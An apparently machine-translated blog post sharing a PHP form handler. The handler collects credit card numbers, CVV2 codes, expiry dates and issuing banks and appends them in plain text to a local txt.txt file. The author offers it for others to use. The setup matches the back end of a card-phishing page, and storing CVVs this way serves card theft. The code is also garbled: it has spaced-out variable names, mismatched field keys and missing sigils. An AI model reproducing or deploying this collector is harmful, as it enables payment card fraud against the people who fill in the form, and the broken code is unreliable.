Two days ago, a friend asked me to help him write a simple PHP code that collects form content and writes files. due to my recent busy work, I have no time to write it, today, I finally took some time to complete this task. next I will open-source the relevant code for your reference. As for the form content, I will not talk about it here, mainly form action = "getpost. php ", that is, write getpost. php file. Next, paste the content in this file.
The code is as follows:
// Define the form content to be collected
$ Cardnum = $ _ POST ['cardnnum'];
$ Cvv2 = $ _ POST ['cvv2'];
$ Month = $ _ POST ['month'];
$ Year = $ _ POST ['Year'];
$ Cardbank = $ _ POST ['cardbank '];
// Define the format of the collected content
$ Content = "Credit Card Number :". $ cardnum. ", Card Verification Number :". $ cvv2. ", Card Expiry Date :". $ month. "/year :". $ year. ", IssuingBank :". cardbank;
// Define the file storage location
$ Compile_dir = "./txt.txt ";
// Below is the written PHP code
$ File = fopen ($ compile_dir, "a + ");
Fwrite ($ file, $ content );
Fclose ($ file );
?>
At the very beginning, we will create txt.txt in the current directory and write the collected information into this file. The effect is still very good.